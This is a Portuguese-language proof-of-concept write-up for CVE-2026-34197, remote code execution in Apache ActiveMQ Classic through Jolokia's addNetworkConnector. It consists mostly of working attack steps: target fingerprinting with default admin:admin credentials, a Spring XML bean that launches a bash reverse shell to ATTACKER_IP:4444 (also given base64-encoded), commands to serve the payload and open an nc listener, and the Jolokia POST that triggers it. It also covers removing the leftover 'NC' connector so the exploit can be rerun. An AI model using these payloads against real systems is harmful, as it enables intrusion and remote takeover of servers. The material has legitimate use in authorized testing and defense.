
Prova de conceito de exploit para CVE-2026-34197, uma RCE no Apache ActiveMQ via addNetworkConnector do Jolokia, com notas técnicas e payload de reverse shell.
addNetworkConnector RCEProva de conceito e notas técnicas para CVE-2026-34197, uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic acessível através da ponte JMX-HTTP do Jolokia.
conf/jolokia-access.xml) concede exec em todos os MBeans org.apache.activemq:*. Isso inclui Broker.addNetworkConnector(String), que aceita uma URI de transporte vm:// cujo parâmetro de consulta brokerConfig o broker busca e analisa como um arquivo de definição de bean Spring XML. Um bean cuja classe é com é instanciado — e iniciado — como efeito colateral da resolução do grafo de beans pelo Spring. Nenhuma cadeia de gadgets de desserialização é necessária.java.lang.ProcessBuilderinit-method="start"⚠️ Apenas para testes autorizados / pesquisa / uso em CTF. Não execute isso contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Confirme se exec está realmente acessível no MBean do Broker:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) não aceita uma URI vm://... simples — ela é analisada primeiro como uma URI de agente de descoberta, e vm não é um esquema de descoberta registrado (DiscoveryAgent scheme NOT recognized: [vm]). Envolva-a em static:(...), o esquema de descoberta estática do ActiveMQ, que passa a URI vm:// interna sem modificações:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
O invólucro <![CDATA[...]]> é necessário porque o one-liner do reverse shell contém &, que o XML tentaria analisar como o início de uma referência de entidade. Uma opção equivalente, sem escapes, é codificar o comando em base64:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Sirva-o:
python3 -m http.server 8000
Inicie um listener:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
O cabeçalho Origin é importante. Se o jolokia-access.xml desta versão tiver a aplicação de CORS habilitada (um bloco <cors></cors>, mesmo vazio), o Jolokia exige um Origin/Referer bem formado em requisições que alteram estado. Se omitido, você receberá uma resposta de política negada que pode parecer que o sistema está corrigido quando não está.
Uma chamada bem-sucedida retorna:
{"value":"NC","status":200}
A chamada é cega via HTTP — não há corpo de resposta com a saída do comando — então seu listener da etapa anterior é o que realmente captura o shell.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) sempre registra o objeto JMX resultante sob o nome do conector NC, independentemente da URI que você passar. Este é um padrão fixo no próprio ActiveMQ, não algo derivado da requisição:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) nunca expõe uma forma de sobrescrevê-lo — não há truque de nome/parâmetro de consulta que altere o ObjectName registrado (testado manualmente: anexar ?name=whatever fora do invólucro static:(...) é silenciosamente ignorado).
Consequência: a segunda chamada a addNetworkConnector — seja sua própria tentativa após um payload quebrado, ou simplesmente porque o conector já está registrado de uma execução bem-sucedida anterior — falha:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Isso não requer reinicialização do broker para se recuperar. O Broker também expõe removeNetworkConnector(String) através da mesma política do Jolokia (a concessão <allow operation="*"> em org.apache.activemq:* cobre todas as operações do broker, não apenas esta). Limpe o conector obsoleto pelo nome e tente novamente:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Uma chamada bem-sucedida retorna {"value":true,"status":200}. Execute novamente a etapa 3 imediatamente depois — ela re-registra NC e dispara poc.xml novamente.
admin do Jolokia/console, que não está relacionada à conta do sistema operacional.addNetworkConnector não apenas executa o bean Spring uma vez — ele deixa um objeto de conector de rede ativo registrado no broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Este é um artefato durável da exploração, independente de o processo gerado em si persistir.NetworkBridgeConfiguration.java — fonte do padrão private String name = "NC";BrokerViewMBean.java — interface JMX addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java